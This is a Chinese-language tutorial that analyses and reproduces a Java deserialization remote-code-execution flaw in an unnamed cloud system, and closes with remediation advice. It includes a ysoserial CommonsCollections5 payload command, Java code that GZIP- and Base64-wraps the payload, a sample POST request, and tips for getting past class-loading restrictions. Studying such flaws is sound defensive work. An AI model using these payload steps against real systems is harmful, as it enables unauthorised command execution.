某Cloud系统反序列化漏洞分析与复现教学文档

漏洞概述

某Cloud系统存在反序列化漏洞，攻击者可以通过构造特定的序列化数据，利用系统中存在的反序列化利用链实现远程命令执行。与常规反序列化漏洞不同，该系统对反序列化过程进行了特殊处理，导致无法直接使用ysoserial工具生成的payload进行利用。

漏洞分析

1. 反序列化入口点

系统存在多个反序列化入口点，主要通过对用户输入的序列化数据直接执行反序列化操作。典型的漏洞代码如下：

// 从请求参数中获取序列化数据
String serializedData = request.getParameter("data");
// 直接反序列化
Object obj = deserialize(serializedData);

2. 反序列化特殊处理

系统对反序列化过程进行了以下特殊处理：

1. Base64解码：输入的序列化数据需要先进行Base64解码
2. GZIP解压缩：解码后的数据可能还需要进行GZIP解压缩
3. 自定义类加载：系统使用自定义的类加载机制，限制了部分类的加载

3. 反序列化利用链

系统中存在可利用的反序列化链，主要涉及以下关键类：

• BadAttributeValueExpException：触发点类
• TiedMapEntry：利用链中转类
• LazyMap/HashMap：最终触发恶意代码的类

漏洞复现

1. 常规方法失败原因

直接使用ysoserial生成的payload失败的原因：

1. 系统要求payload必须经过Base64编码
2. 部分情况下还需要GZIP压缩
3. 系统对某些类的加载进行了限制

2. 构造有效payload的步骤

步骤1：生成原始序列化数据

使用ysoserial生成基础的序列化数据：

java -jar ysoserial.jar CommonsCollections5 "command" > payload.ser

步骤2：处理序列化数据

对生成的序列化数据进行处理：

1. GZIP压缩（可选，视目标系统要求）：

   ByteArrayOutputStream bos = new ByteArrayOutputStream();
   GZIPOutputStream gzip = new GZIPOutputStream(bos);
   gzip.write(payloadBytes);
   gzip.close();
   byte[] compressed = bos.toByteArray();
   

2. Base64编码：

   String base64Payload = Base64.getEncoder().encodeToString(compressed);
   

步骤3：发送payload

将处理后的payload发送到目标系统的反序列化端点：

POST /vulnerableEndpoint HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

data=<base64Payload>

3. 绕过限制的技巧

1. 使用系统已有的类：避免使用被限制的类，选择系统中已存在的类构造利用链
2. 多层包装：通过多层包装绕过简单的类名检测
3. 利用系统功能：结合系统其他功能（如文件上传）加载额外类

漏洞修复建议

1. 避免直接反序列化用户输入：使用白名单机制限制可反序列化的类
2. 使用安全的反序列化方法：
   • 使用Jackson/Gson等安全库替代原生反序列化
   • 使用ObjectInputFilter限制反序列化类
3. 输入验证：对输入的序列化数据进行严格验证
4. 最小权限原则：运行环境使用最小必要权限

总结

该Cloud系统的反序列化漏洞展示了即使存在基本防护措施（如Base64编码、GZIP压缩），攻击者仍可通过分析系统特性和精心构造payload实现利用。安全开发时应从根本上避免不安全的反序列化操作，而不仅依赖于外围防护措施。